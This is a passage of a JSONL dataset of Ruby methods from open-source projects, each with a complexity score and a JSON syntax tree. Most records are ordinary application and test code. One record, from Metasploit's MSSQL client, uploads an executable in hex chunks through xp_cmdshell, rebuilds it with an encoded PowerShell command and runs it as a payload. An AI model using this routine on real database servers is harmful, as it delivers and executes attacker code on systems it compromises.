end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"normalize_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"url\"]}]},\"normalize\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"u\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"path\"]},\"squeeze!\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},\"to_s\"]}]}","id":"a2f6ca39-2a26-4381-a5e7-febf02084ee3"} {"repo_name":"forem","file_path":"./repos/forem/spec/liquid_tags/stackery_tag_spec.rb","start_line":9,"raw_source":"def generate_tag(input)\n Liquid::Template.register_tag(\"stackery\", StackeryTag)\n Liquid::Template.parse(\"{% stackery #{input} %}\")\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_tag\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Template\"]},\"register_tag\",{\"type\":\"str\",\"children\":[\"stackery\"]},{\"type\":\"const\",\"children\":[null,\"StackeryTag\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Template\"]},\"parse\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"{% stackery \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]}]},{\"type\":\"str\",\"children\":[\" %}\"]}]}]}]}]}","id":"5182c315-337c-4543-a275-68f5fd4d776c"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/mssql/client.rb","start_line":606,"raw_source":"def powershell_upload_exec(exe, debug=false)\n # hex converter\n hex = exe.unpack(\"H*\")[0]\n # create random alpha 8 character names\n #var_bypass = rand_text_alpha(8)\n var_payload = rand_text_alpha(8)\n print_status(\"Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory\")\n # our payload converter, grabs a hex file and converts it to binary for us through powershell\n h2b = \"$s = gc 'C:\\\\Windows\\\\Temp\\\\#{var_payload}';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\\\Windows\\\\Temp\\\\#{var_payload}.exe',$b)\"\n h2b_unicode=Rex::Text.to_unicode(h2b)\n # base64 encode it, this allows us to perform execution through powershell without registry changes\n h2b_encoded = Rex::Text.encode_base64(h2b_unicode)\n print_status(\"Uploading the payload #{var_payload}, please be patient...\")\n idx = 0\n cnt = 500\n while(idx < hex.length - 1)\n mssql_xpcmdshell(\"cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\\\#{var_payload}\", false)\n idx += cnt\n end\n print_status(\"Converting the payload utilizing PowerShell EncodedCommand...\")\n mssql_xpcmdshell(\"powershell -EncodedCommand #{h2b_encoded}\", debug)\n mssql_xpcmdshell(\"cmd.exe /c del %TEMP%\\\\#{var_payload}\", debug)\n print_status(\"Executing the payload...\")\n mssql_xpcmdshell(\"%TEMP%\\\\#{var_payload}.exe\", false, {:timeout => 1})\n print_status(\"Be sure to cleanup #{var_payload}.exe...\")\n end","complexity_score":32.33,"ast_json":"{\"type\":\"def\",\"children\":[\"powershell_upload_exec\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exe\"]},{\"type\":\"optarg\",\"children\":[\"debug\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hex\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exe\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_payload\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Warning: This module will leave \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_payload\"]}]},{\"type\":\"str\",\"children\":[\".exe in the SQL Server %TEMP% directory\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"h2b\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"$s = gc 'C:\\\\Windows\\\\Temp\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_payload\"]}]},{\"type\":\"str\",\"children\":[\"';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\\\Windows\\\\Temp\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_payload\"]}]},{\"type\":\"str\",\"children\":[\".exe',$b)\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"h2b_unicode\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_unicode\",{\"type\":\"lvar\",\"children\":[\"h2b\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"h2b_encoded\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"lvar\",\"children\":[\"h2b_unicode\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Uploading the payload \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_payload\"]}]},{\"type\":\"str\",\"children\":[\", please be patient...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"idx\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"cnt\",{\"type\":\"int\",\"children\":[500]}]},{\"type\":\"while\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"idx\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hex\"]},\"length\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mssql_xpcmdshell\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cmd.exe /c echo \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hex\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"idx\"]},{\"type\":\"lvar\",\"children\":[\"cnt\"]}]}]},{\"type\":\"str\",\"children\":[\">>%TEMP%\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_payload\"]}]}]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"idx\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"cnt\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Converting the payload utilizing PowerShell EncodedCommand...\"]}]},{\"type\":\"send\",\"children\":[null,\"mssql_xpcmdshell\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"powershell -EncodedCommand \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h2b_encoded\"]}]}]},{\"type\":\"lvar\",\"children\":[\"debug\"]}]},{\"type\":\"send\",\"children\":[null,\"mssql_xpcmdshell\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cmd.exe /c del %TEMP%\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_payload\"]}]}]},{\"type\":\"lvar\",\"children\":[\"debug\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Executing the payload...\"]}]},{\"type\":\"send\",\"children\":[null,\"mssql_xpcmdshell\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"%TEMP%\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_payload\"]}]},{\"type\":\"str\",\"children\":[\".exe\"]}]},{\"type\":\"false\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Be sure to cleanup \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_payload\"]}]},{\"type\":\"str\",\"children\":[\".exe...\"]}]}]}]}]}","id":"8f0c7ab6-9c2a-4caf-bd39-84d0f12be761"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/generator.rb","start_line":135,"raw_source":"def inject_require(root_file_path: 'lib/rubocop.rb')\n RequireFileInjector.new(source_path: source_path, root_file_path: root_file_path).inject\n end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"inject_require\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"root_file_path\",{\"type\":\"str\",\"children\":[\"lib/rubocop.rb\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RequireFileInjector\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_path\"]},{\"type\":\"send\",\"children\":[null,\"source_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root_file_path\"]},{\"type\":\"lvar\",\"children\":[\"root_file_path\"]}]}]}]},\"inject\"]}]}","id":"81bd5181-aa63-4b20-a4ef-3b354def8118"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/batched_migration_job.rb","start_line":50,"raw_source":"def scope_to(scope)\n define_method(:filter_batch) do |relation|\n instance_exec(relation, &scope)\n end\n end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"scope_to\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scope\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"sym\",\"children\":[\"filter_batch\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation\"]}]},{\"type\":\"send\",\"children\":[null,\"instance_exec\",{\"type\":\"lvar\",\"children\":[\"relation\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]}]}]}]}]}","id":"56b3f899-b98b-4658-97ef-91b1c22efb11"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/fixtures_test.rb","start_line":83,"raw_source":"def call(_, _, _, _, values)\n @events << values[:sql] if /INSERT/.match?(values[:sql])\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"values\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT\"]},{\"type\":\"regopt\",\"children\":[]}]},\"match?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sql\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@events\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sql\"]}]}]},null]}]}","id":"223b43b1-133d-4b21-aa57-b6e139b9074a"} {"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/prefetch_associations_test.rb","start_line":239,"raw_source":"def test_fetch_multi_batch_fetches_first_level_belongs_to_associations\n AssociatedRecord.send(:cache_belongs_to, :item)\n\n @bob_child = @bob.associated_records.create!(name: \"bob child\")\n @fred_child = @fred.associated_records.create!(name: \"fred child\")\n\n # populate the cache entries and associated children ID variables\n AssociatedRecord.fetch_multi(@bob_child.id, @fred_child.id)\n Item.fetch_multi(@bob.id, @fred.id)\n\n assert_memcache_operations(2) do\n @cached_bob_child, @cached_fred_child = AssociatedRecord.fetch_multi(\n @bob_child.id, @fred_child.id, includes: :item\n )\n assert_equal(@bob, @cached_bob_child.fetch_item)\n assert_equal(@fred, @cached_fred_child.fetch_item)\n end\n end","complexity_score":31.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_fetch_multi_batch_fetches_first_level_belongs_to_associations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AssociatedRecord\"]},\"send\",{\"type\":\"sym\",\"children\":[\"cache_belongs_to\"]},{\"type\":\"sym\",\"children\":[\"item\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@bob_child\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bob\"]},\"associated_records\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"bob child\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@fred_child\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fred\"]},\"associated_records\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"fred child\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AssociatedRecord\"]},\"fetch_multi\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bob_child\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fred_child\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"fetch_multi\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bob\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fred\"]},\"id\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_memcache_operations\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@cached_bob_child\"]},{\"type\":\"ivasgn\",\"children\":[\"@cached_fred_child\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AssociatedRecord\"]},\"fetch_multi\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bob_child\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fred_child\"]},\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"includes\"]},{\"type\":\"sym\",\"children\":[\"item\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@bob\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cached_bob_child\"]},\"fetch_item\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@fred\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cached_fred_child\"]},\"fetch_item\"]}]}]}]}]}]}","id":"d59aca69-67f1-4fc6-9f60-e88271d822c6"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/deployments/deployment_presenter.rb","start_line":27,"raw_source":"def web_path\n project_environment_deployment_path(project, environment, deployment)\n end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"web_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"project_environment_deployment_path\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"environment\"]},{\"type\":\"send\",\"children\":[null,\"deployment\"]}]}]}","id":"486288f8-742b-4553-95f7-f726dc816a6b"} {"repo_name":"discourse","file_path":"./repos/discourse/spec/models/notification_spec.rb","start_line":702,"raw_source":"def create_membership_request_notification\n Notification.consolidate_or_create!(\n notification_type: Notification.types[:private_message],\n user_id: user.id,\n data: {\n topic_title: I18n.t(\"groups.request_membership_pm.title\", group_name: group.name),\n original_post_id: post.id,\n }.to_json,\n updated_at: Time.zone.now,\n created_at: Time.zone.now,\n )\n end","complexity_score":20.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_membership_request_notification\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"consolidate_or_create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notification_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"private_message\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"groups.request_membership_pm.title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"name\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"original_post_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"post\"]},\"id\"]}]}]},\"to_json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]}]}]}]}","id":"c30b4b45-3e06-445c-a373-7065794ff500"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/integrations/slack/slack_link_unfurl_service.rb","start_line":73,"raw_source":"def extract_account_id(url)\n account_id_regex = %r{/accounts/(\\d+)}\n match_data = url.match(account_id_regex)\n match_data[1] if match_data\n end","complexity_score":5.43,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_account_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"account_id_regex\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"/accounts/(\\\\d+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"match_data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"match\",{\"type\":\"lvar\",\"children\":[\"account_id_regex\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match_data\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},null]}]}]}","id":"f38f88fa-980f-4c1f-bb01-c84d67741213"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20241015085833_drop_ci_pipelines_config.rb","start_line":6,"raw_source":"def up\n drop_table(:ci_pipelines_config, if_exists: true)\n\n execute(<<~SQL)\n CREATE TABLE IF NOT EXISTS #{fully_qualified_partition_name(100)}\n PARTITION OF p_ci_pipelines_config FOR VALUES IN (100);\n\n CREATE TABLE IF NOT EXISTS #{fully_qualified_partition_name(101)}\n PARTITION OF p_ci_pipelines_config FOR VALUES IN (101);\n\n CREATE TABLE IF NOT EXISTS #{fully_qualified_partition_name(102)}\n PARTITION OF p_ci_pipelines_config FOR VALUES IN (102);\n SQL\n end","complexity_score":6.65,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"drop_table\",{\"type\":\"sym\",\"children\":[\"ci_pipelines_config\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CREATE TABLE IF NOT EXISTS \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fully_qualified_partition_name\",{\"type\":\"int\",\"children\":[100]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" PARTITION OF p_ci_pipelines_config FOR VALUES IN (100);\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"CREATE TABLE IF NOT EXISTS \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fully_qualified_partition_name\",{\"type\":\"int\",\"children\":[101]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" PARTITION OF p_ci_pipelines_config FOR VALUES IN (101);\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"CREATE TABLE IF NOT EXISTS \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fully_qualified_partition_name\",{\"type\":\"int\",\"children\":[102]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" PARTITION OF p_ci_pipelines_config FOR VALUES IN (102);\\n\"]}]}]}]}]}","id":"84dc094a-6675-46f1-91e4-b294a6bc094e"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/inspector.rb","start_line":339,"raw_source":"def result\n @view.raw @view.render(layout: \"routes/table\") {\n @view.raw @buffer.join(\"\\n\")\n }\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"result\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view\"]},\"raw\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view\"]},\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"layout\"]},{\"type\":\"str\",\"children\":[\"routes/table\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view\"]},\"raw\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buffer\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]}]}","id":"8092c43b-5b02-49ab-b283-296f48064ebf"} {"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/scm/adapters/local_client.rb","start_line":235,"raw_source":"def count_storage_du\n output, err, code = Open3.capture3(\"du\", \"-bs\", local_repository_path)\n\n if code == 0 && output =~ /^(\\d+)/\n Regexp.last_match(1).to_i\n else\n raise SystemCallError.new \"'du' exited with non-zero status #{code}: Output was #{err}\"\n end\n rescue SystemCallError => e\n # May be raised when the command is not found.\n # Nothing we can do here.\n Rails.logger.error(\"Counting with 'du' failed with: '#{e.message}'.\" +\n \"Falling back to in-ruby counting.\")\n nil\n end","complexity_score":24.43,"ast_json":"{\"type\":\"def\",\"children\":[\"count_storage_du\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output\"]},{\"type\":\"lvasgn\",\"children\":[\"err\"]},{\"type\":\"lvasgn\",\"children\":[\"code\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Open3\"]},\"capture3\",{\"type\":\"str\",\"children\":[\"du\"]},{\"type\":\"str\",\"children\":[\"-bs\"]},{\"type\":\"send\",\"children\":[null,\"local_repository_path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^(\\\\d+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]},\"to_i\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SystemCallError\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"'du' exited with non-zero status \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code\"]}]},{\"type\":\"str\",\"children\":[\": Output was \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SystemCallError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Counting with 'du' failed with: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"str\",\"children\":[\"'.\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"Falling back to in-ruby counting.\"]}]}]},{\"type\":\"nil\",\"children\":[]}]}]},null]}]}","id":"2c0598fb-752e-441b-b255-581aec3155d9"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper_test.rb","start_line":1865,"raw_source":"def test_form_for_field_name_with_blank_as_and_multiple\n form_for(Post.new, as: \"\") do |form|\n concat form.text_field(:title, name: form.field_name(:title, multiple: true))\n end\n\n expected = whole_form(\"/posts\", \"new_\", \"new_\") do\n %()\n end\n\n assert_dom_equal expected, @rendered\n 